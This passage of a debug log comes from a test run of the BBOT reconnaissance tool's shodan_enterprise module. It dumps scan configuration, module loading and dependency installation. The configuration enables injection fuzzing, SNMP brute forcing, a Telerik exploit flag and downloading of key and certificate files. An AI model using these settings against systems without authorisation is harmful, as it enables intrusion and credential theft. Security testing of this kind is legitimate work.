'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_6zceez31zn'}, 'started_at': '2026-02-27T21:21:51.947582', 'finished_at': '2026-02-27T21:21:52.519355', 'duration_seconds': 0.571773, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 21:21:52,672 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:21:52,672 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,673 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 21:21:52,673 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 21:25:38,837 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:25:38,848 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:25:38,849 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:25:38,850 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:25:38,851 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:25:38,852 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:25:38,855 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:25:38,857 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:25:38,862 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:25:38,862 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:25:38,864 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:25:38,866 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:25:38,867 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:25:38,868 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:25:38,870 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:25:38,871 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:25:38,872 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:25:38,872 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:25:38,873 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:25:38,874 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:25:38,875 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:25:38,876 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:25:38,877 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:25:38,878 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:25:38,879 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:25:38,881 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:25:38,882 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:25:38,883 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:25:38,884 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:25:38,885 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:25:38,886 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:25:38,887 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:25:38,888 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:25:38,890 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:25:38,890 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:25:38,892 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:25:38,893 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:25:38,894 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:25:38,895 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:25:38,896 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:25:38,898 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:25:38,899 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:25:38,900 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:25:38,901 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:25:38,903 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:25:38,905 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:25:38,905 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:25:38,906 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:25:38,907 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:25:38,908 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:25:38,909 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:25:38,910 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:25:38,910 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:25:38,911 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:25:38,913 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:25:38,914 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:25:38,915 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:25:38,915 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:25:38,917 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:25:38,918 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:25:38,919 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:25:38,919 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:25:38,920 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:25:38,921 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:25:38,922 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:25:38,923 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:25:38,928 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:25:38,930 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:25:38,931 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:25:38,932 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:25:38,933 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:25:38,934 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:25:38,935 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:25:38,936 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:25:38,937 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:25:38,939 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:25:38,939 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:25:38,941 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:25:38,941 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:25:38,943 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:25:38,944 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:25:38,944 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:25:38,945 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:25:38,946 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:25:38,947 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:25:38,948 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:25:38,949 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:25:38,950 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:25:38,952 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:25:38,952 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:25:38,953 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:25:38,954 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:25:38,962 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:25:38,963 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:25:38,964 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:25:38,965 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:25:38,967 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:25:38,968 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:25:38,969 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:25:38,970 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:25:38,971 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:25:38,972 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:25:38,973 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:25:38,974 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:25:38,975 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:25:38,976 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:25:38,977 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:25:38,978 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:25:38,979 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:25:38,980 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:25:38,981 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:25:38,981 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:25:38,982 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:25:38,983 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:25:38,984 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:25:38,985 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:25:38,986 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:25:38,987 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:25:38,988 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:25:38,990 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:25:38,991 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:25:38,992 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:25:38,993 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:25:38,994 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:25:38,994 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:25:38,995 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:25:38,996 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:25:38,997 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:25:38,998 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:25:38,999 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:25:39,000 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:25:39,001 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:25:39,002 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:25:39,003 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:25:39,004 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:25:39,005 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:25:39,006 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:25:39,007 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:25:39,008 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:25:39,008 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:25:39,009 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:25:39,010 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:25:39,011 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:25:39,012 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:25:39,013 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:25:39,014 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:25:39,015 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:25:39,016 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:25:39,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:25:39,018 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:25:39,019 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:25:39,020 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:25:39,020 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:25:39,021 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:25:39,023 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:25:39,024 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:25:39,025 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:25:39,026 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:25:39,026 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:25:39,028 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:25:39,028 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:25:39,029 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:25:39,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:25:39,031 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:25:39,032 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:25:39,033 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:25:39,034 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:25:39,035 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:25:39,036 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:25:39,037 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:25:39,212 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4537956624 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:25:39,212 [DEBUG] filelock _api.py:334 Lock 4537956624 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:25:39,214 [DEBUG] filelock _api.py:364 Attempting to release lock 4537956624 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:25:39,214 [DEBUG] filelock _api.py:367 Lock 4537956624 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:25:40,135 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:25:40,136 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:25:40,136 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:25:40,277 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:25:40,846 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:25:40,846 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:25:40,847 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:25:40,847 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:25:41,048 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:25:41,049 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:25:41,158 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:25:41,158 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:25:41,213 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 21:25:41,215 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:25:41,216 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:25:41,643 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:25:41,643 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:25:45,474 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:25:45,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:25:45,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 